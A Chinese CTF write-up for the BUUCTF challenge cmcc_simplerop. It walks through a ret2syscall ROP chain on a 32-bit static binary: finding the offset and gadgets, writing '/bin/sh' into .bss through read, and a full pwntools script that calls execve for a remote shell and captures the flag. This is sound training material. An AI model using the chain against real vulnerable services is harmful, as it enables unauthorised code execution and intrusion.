ROP链-BUUCTF-cmcc_simplerop(ret2syscall)

发布于:2025-05-09 ⋅ 阅读:(14) ⋅ 点赞:(0)

32 位程序,开启 NX 保护 

ida 反编译看 main 函数,很明显存在溢出

先测一下偏移吧

cyclic -l 0x61616169

拿到:

offset = 32

看这样子这道题还是要打 ret2syscall

 按照常规思路找一下我们需要的 gadgets 的地址:

# ROPgadget --binary simplerop  --only "pop|ret" | grep "ebx"|grep "ecx"|grep "edx"
0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret

# ROPgadget --binary simplerop  --only "pop|ret" | grep "pop eax"
0x0809da8a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bae06 : pop eax ; ret
0x08071e3a : pop eax ; ret 0x80e
0x0809da89 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

# ROPgadget --binary simplerop  --string "/bin/sh"
Strings information
============================================================

# ROPgadget --binary simplerop  --only "int" | grep "0x80"
0x080493e1 : int 0x80

情况都差不多,还是没有 /bin/sh 字符串  

先记录已有的地址:

pop_eax = 0x080bae06
pop_edx_ecx_ebx = 0x0806e850
int_0x80 = 0x080493e1

但是这里还有一个问题,程序没有类似于 pop [ecx] 这样的指令

我们怎么写入 /bin/sh 呢?

我们先找可以写入的段的地址:

随便用一个都可以:

bss_addr = 0x80eb000

然后,我们需要利用 read 函数,这里它自带了 read 函数,如果程序没有自带 read 函数,我们还可以通过系统调用 read,参考我前面的文章:

PWN基础-ROP技术-ret2syscall突破NX保护-CSDN博客https://myon6.blog.csdn.net/article/details/147772723?spm=1001.2014.3001.5502利用思路类似,建议先看完我上面的这篇博客,我这里不再过多叙述。

read 函数地址:

read_addr = 0x0806CD50

当然这个地址我们也可以通过符号表来找,因为这里的程序是静态链接的 ELF 文件,所有不能通过 plt 或者 got 表,因为压根就不存在。

直接写 exp:

溢出后先返回到 read 函数的地址

但是 read 函数执行后,它的三个参数还在栈顶上

我们需要连续三次 pop 弹出栈顶的内容

这样后面才能正常的 ret2syscall 传参,从而系统调用 execve

# @author:My6n
# @time:20250508
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./simplerop')
io = remote('node5.buuoj.cn',27761)
offset = 32
pop_eax = 0x080bae06
pop_edx_ecx_ebx = 0x0806e850
int_0x80 = 0x080493e1
bss_addr = 0x80eb000
read_addr = 0x0806CD50
payload = cyclic(offset)+p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(bss_addr)+p32(0x20)+p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

没有任何问题 

拿到 flag:flag{05014413-8009-471b-bf45-6df3337afd49}


网站公告

今日签到

点亮在社区的每一天
去签到